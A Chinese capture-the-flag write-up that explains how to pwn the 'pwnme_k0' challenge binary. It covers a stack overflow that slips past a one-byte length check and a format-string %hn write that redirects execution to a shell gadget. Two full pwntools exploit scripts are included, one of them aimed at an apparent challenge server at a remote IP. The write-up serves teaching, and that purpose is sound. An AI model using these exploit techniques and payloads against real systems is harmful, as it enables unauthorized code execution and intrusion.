作者 眼镜蛇 2016-07-11 10:46:00
被查看了5次 , 本文转载自:乌云知识库

三个白帽《来 PWN 我一下好吗 -- 第二期》之pwn入门

0x00 利用栈溢出漏洞

首先执行Bin文件(以下简称bin),输入用户名和密码后,输入2,然后回车,进入编辑用户名、密码的函数,在输入新用户名(长度小于0x14个字符)后,进入密码编辑处,该处有以下代码片段:

p1

从上图汇编代码中可以看出,bin要求输入新密码,并且输入最大长度为0x12c,然后后面要检查输入的字符串的长度必须小于等于0x14(实际要小于0x14,字符串末尾有个回车符)才能进入后续部分。

这里如果输入字符串长度大于0x12c,那么read后eax返回的就是0x12c,如果输入字符串长度小于0x12c,eax返回的是字符串实际长度。

观察发现这里用作长度比较的是al,占用1字节8位,它的最大值是0xff,当值超过0xff一个字节长度后,这时eax就变成0x100,而al则变成了0x00,这样就绕过了长度检查。

因此输入的超长字符串长度应满足0x100≦len≦0x100+0x14,除去结尾的换行符最多可以输入275个字符。

满足条件后就把输入的新密码串传递给了copy函数(自定义的函数名),接下来copy函数处代码如下:

p2

从汇编代码可以看出bin给dest开辟了0x20字节空间,并且把输入的密码串src复制给了dest,这样如果src超长就会覆盖copy函数的返回地址,函数结束后返回时,将跳转到我们指定的位置按我们的意图执行代码。这里字符串长度为0x20+8时将覆盖ebp ,长度为0x20+8+8时将覆盖返回地址。

下面我们对这一栈溢出过程进行动态调试,这样会更好的理解溢出时到底发生了什么事情:

首先对读取密码串后的一条指令下断如图:

p3

然后把ida dbgsrv目录下linux_server文件拷贝到虚拟机64位ubuntu系统下,然后执行linux_server。

点击绿色三角形按钮启动远程调试,配置好远程调试:

p4

启动后调试后,我们在虚拟机输入用户名、密码,然后选择2 进行编辑,再输入长度小于0x14的字符串作为新用户名,然后用一个超长字符串来作为新密码。这里输入:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

回车后bin在断点处断下来:

p5

从上图可以看到,密码串长度eax=0x10f,而al=0x0f小于0x14,绕过了长度检查。

然后点中copy处,按f4,然后f7单步进入copy

p6

这时候可以看到长度为0x10f的字符串src要被复制到地址为0x7ffdd1cea9e0的dest处,dest到返回地址之间有40个字节(跟前面静态分析结果一致0x20+0x8=40),第48个字节开始将覆盖返回地址。然后按f8执行完strcpy后,返回地址被覆盖如图:

p7

单步f8,执行retn后bin将跳转到0x6161616161616262处执行,然后发生崩溃,正常情况本应该跳转到0x400c71处执行的。

在地址0x4008a6处,发现一处get shell功能的代码:

p8

我们如果直接把返回地址改成0x4008a6就会得到一个shell。首先利用pwntools编写本地exp:

#!python
#!/usr/bin/python
from pwn import * 
import time 
context.log_level = 'DEBUG' 
r = process('./pwnme_k0') 
r.recvuntil('username(max lenth:20): ') 
r.sendline('admin') 
r.recvuntil('password(max lenth:20): ') 
r.sendline('admin') 
r.recvuntil('>') 
r.sendline('2') 
r.recvuntil('new username(max lenth:20): ') 
r.sendline('admin1') 
r.recvuntil('new password(max lenth:20): ') 
passexp='A'*40+p64(0x4008a6)+'B'*208 
r.sendline(passexp) 
r.interactive()

成功getshell,把exp里代码 r = process('./pwnme_k0') 替换成 r = remote('123.59.56.23','44110')

得到远程exp 执行后得到shell:

p9

0x01 利用格式化漏洞

Bin还有一处字符串格式化漏洞,允许打印内存数据,可以任意地址写任意内容。

在bin主界面输入1 将打印输入的用户名、密码字符串。

p10

当我们输入的字符串包含格式化符号时 会打印内存数据:

p11

让bin中username为8个字符a ,密码为9个%p,从上图可以看到第8个%p把我们输入的username作为一个内存地址打印出来了0x6161616161616161。格式化符号%n可以把这个符号前面将要打印的字符串的长度写入起对应的地址里,这里如果要向地址0x6161616161616161写入数据,就用%8$n符号。

我们知道栈里某个地址addr保存的是返回地址,如果我们把0x6161616161616161变成这个栈地址,就可以更改返回地址了。

根据函数执行流程,先把缓冲字符串压栈,再把返回地址压栈,然后进入子函数,这里就是showinfo,不难猜测,这里0x400d74就是子函数的返回地址。

前面我知道0x4008a6处是shell地址,如果我们把0x4008a6覆盖掉返回地址,就会得到SHELL。这里只需要用0x8a6覆盖0xd74,那么我们需要在%8$n前面构造一个长度为0x8a6的格式化打印符号%.2214d, 2214是0x8a6十进制值。这是因为覆盖的长度为两字节,这里输入符号应改为%8$hn(另:若为1字节时为%8$hhn)。因此密码串可以输入%.2214d%8$hn,这时会把0x4008a6写入到addr指向的内容,bin执行完这个子函数就会跳转到4008a6,从而得到SHELL。

怎么知道保存返回地址的栈的地址呢?

首先根据打印的内存数据可以推断进入showinfo前 ebp=0x7ffe65fb8860

进入showinfo前,我们看看栈的变化:

p12

从汇编代码可以看出,执行callshowinfo前rbp=rsp,然后rsp=rsp-8,然后进行了5次压操作,执行到call时esp=ebp-0x30这时esp指向[rpb+buf] ,进入call时 会把返回地址压栈,这时rsp=rbp-0x38,这时rsp指向返回地址。进入showinfo后首先会把rbp压栈 然后在showinfo子函数里面 rbp值不会改变,保存返回地址的栈地址也不会改变。

根据泄露的数据,我们知道了rbp=0x7ffe65fb8860,用它减去0x38就得到了保存返回地址的栈地址。

最后我们把用户名用0x7ffe65fb8860-0x38填充,password用%.2214d%8$hn填充,在showinfo的时候返回地址将被0x4008a6覆盖,从而执行SHELL。Bin每运行一次栈地址都会发生变化,所以要利用格式化字符串时泄露的内存数据动态获取。

下面我们本地调试一下,看看栈地址是否计算正确:

我们在call showinfo处下断,到达断点时栈数据结构如图:

p13

此时rsp=rbp-0x30指向字符串缓冲区,按f7进入showinfo,执行完push rbp后,栈数据结构如图,用户名密码都是test,对应栈里数据0x74736574:

p14

与前面的泄露的内存数据的截图对比:

p15

与动态调试结果完全一致(由于栈地址是变化的,这里值会有所不同)。

利用格式化字符串漏洞泄露,判断出rbp的值后此处 rbp-0x38=0x7ffe6fa63cc8 就是保存了返回地址的栈地址。

接下来就是写exp了,依然用了pwntools库:

#!python
#!/usr/bin/python
from pwn import * 
import time 
context.log_level = 'DEBUG' 
r = remote('123.59.56.23','44110') 
r.recvuntil('username(max lenth:20): ') 
r.sendline('aaaaaaaabbbbbbbb') 
r.recvuntil('password(max lenth:20): ') 
#首先利用格式化漏洞泄露内存数据来求得rbp
r.sendline('%p%p%p%p%p%p%p%p%p')   
r.recvuntil('>')
r.sendline('1') 
#判断rbp的位置,调试时发现其前面有个固定值0x1 根据这个来查找
r.recvuntil('0x10x')          
leak =  r.recvuntil('\n')[:12] 
#把字符串转成二进制字符串数据格式,然后取反,然后转成整形得到rbp,
#再减去0x38得到保存返回地址的栈地址
leak_addr = u64( ('\x00'*2+leak.decode('hex'))[::-1] )-0x38   
#print hex(leak_addr)
r.recvuntil('>') 
r.sendline('2') 
r.recvuntil('new username(max lenth:20): ') 
r.sendline(p64(leak_addr)) 
r.recvuntil('new password(max lenth:20): ') 
r.sendline('%.2214d%8$hn')  
r.recvuntil('>') 
r.sendline('1') 
r.interactive()

然后成功getshell:

p16

接下来对我们对执行shell这一过程进行一下调试:

首先在虚拟机里以root权限执行linux_server。

接着把exp代码里r = remote('123.59.56.23','44110')改为r = process('./pwnme_k0'),再把倒数第二行r.sendline('1')删除,然后执行exp。

然后在ida里对showinfo里的第二个printf函数下断,附加bin进程,按f9执行。

最后在exp执行的终端输入1回车,这时bin中断如下:

p17

这时返回地址为0x400d74,执行printf后:

p18

返回地址被覆盖为0x4008a7,这里多了一字节,从mov rbp,rsp处开始执行。

单步执行最终跳转到:

p19

成功get shell。

本文转载自:乌云知识库